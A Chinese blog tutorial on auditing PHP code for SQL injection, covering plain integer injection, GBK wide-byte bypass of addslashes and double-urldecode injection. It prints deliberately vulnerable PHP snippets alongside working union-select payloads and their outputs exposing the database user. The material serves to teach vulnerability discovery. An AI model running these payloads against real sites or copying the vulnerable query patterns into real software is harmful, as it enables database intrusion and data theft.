PHP代码审计-SQL注入漏洞挖掘

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_27868757/article/details/84072414

SQL注入经常出现在登录页面,HTTP头(user-agent/client-ip/cookies等),订单处理等地方,在发生多个交互的地方经常会发生二次注入。

普通注入

$uid = $_GET[‘id’];

$sql = “select * from user where id=$uid”;

$conn = mysql_connect(“localhost”,”root”,””);

$sel = mysql_select_db(“test123”,$conn);

$result = mysql_query($sql,$conn);

普通注入有int型和string型,在string型中需要用到单引号或双引号闭合

在这里变量并没有被单引号所保护,我们可以直接构造一条sql语句来进行列猜解

  1. 1 union select 1,2,3  
    后半部分使用union select查询的列数与数据库中列数不匹配的话(表结构不同)会导致报错(The used SELECT statements have a different number of columns
  2. 1 union select 1,user(),3,4
    这个时候查询的列数与数据库中使用表的列数相同,则会返回所查询的值,这样就完成了列猜解。

结果:Array ( [0] => 1 [1] => root@localhost [2] => 2 [3] => 3 )

编码注入

通过输入转码函数不兼容的特殊字符,可以导致输出的字符变成有害数据(在SQL注入里,最常见的编码注入是Mysql宽字节以及urldecode/rawurldecode)

$conn = mysql_connect(“localhost”,”root”,””);

mysql_select_db(“test123”,$conn);

mysql_query(“SET NAMES ‘gbk'”,$conn);

$uid = addslashes($_GET[‘id’]);

$sql = “select * from userinfo where id=’$uid'”;

$result = mysql_query($sql,$conn);

print_r(‘当前查询语句:’.$sql.'<br />结果:’);

print_r(mysql_fetch_row($result));

在这里我们可以看到使用了mysql_query设置了数据库的编码为gbk,并且使用了addslashes针对变量id进行保护

  1. %df’ union select 1,2,3,4 –+ 
    使用%df将addslashes的\合并成字符,这时后面的单引号就会将前面的单引号合并,–+将最后面的引号注释掉,中间的union select得以执行。

当前查询语句:

select * from userinfo where id=’�\\\’ union select 1,2,3,4#’


结果:Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )

二次urldecode注入

现在的web程序大多会进行参数过滤,大多通常使用addslashes(),mysql_real_escape_string(),mysql_escape_string()函数或者开启GPC的方式来防止注入,也就是给* ‘ ” \和NULL加上反斜杠进行转义,如果某处使用了urldecode或者rawurldecode函数,将会导致二次解码生成单引号而引发注入。

原理:

假设目标开启了GPC的情况下,提交参数为1%2527的payload,因为第一次解码没有单引号,addslashes不会进行转义,导致%25生成字符%,第二次进行解析的时候将会把%27解析成单引号造成闭合。

$conn = mysql_connect(“localhost”,”root”,””);

mysql_select_db(“test123”,$conn);

$b = addslashes($_GET[‘id’]);

$uid = urldecode($b);

$sql = “select * from userinfo where id=’$uid'”;

$result = mysql_query($sql,$conn);

print_r(‘当前查询语句:’.$sql.'<br />结果:’);

print_r(mysql_fetch_row($result));
  1. 此处可以构造语句
    %2527%20union%20select%201,user(),3,4%2523
    针对单引号进行闭合

当前查询语句:

select * from userinfo where id=” union select 1,user(),3,4#’


结果:Array ( [0] => 1 [1] => root@localhost [2] => 3 [3] => 4 )

如此就可以通过搜索urldecode和rawurldecode函数来挖掘二次urldecode注入漏洞。

猜你喜欢

转载自blog.csdn.net/qq_27868757/article/details/84072414
今日推荐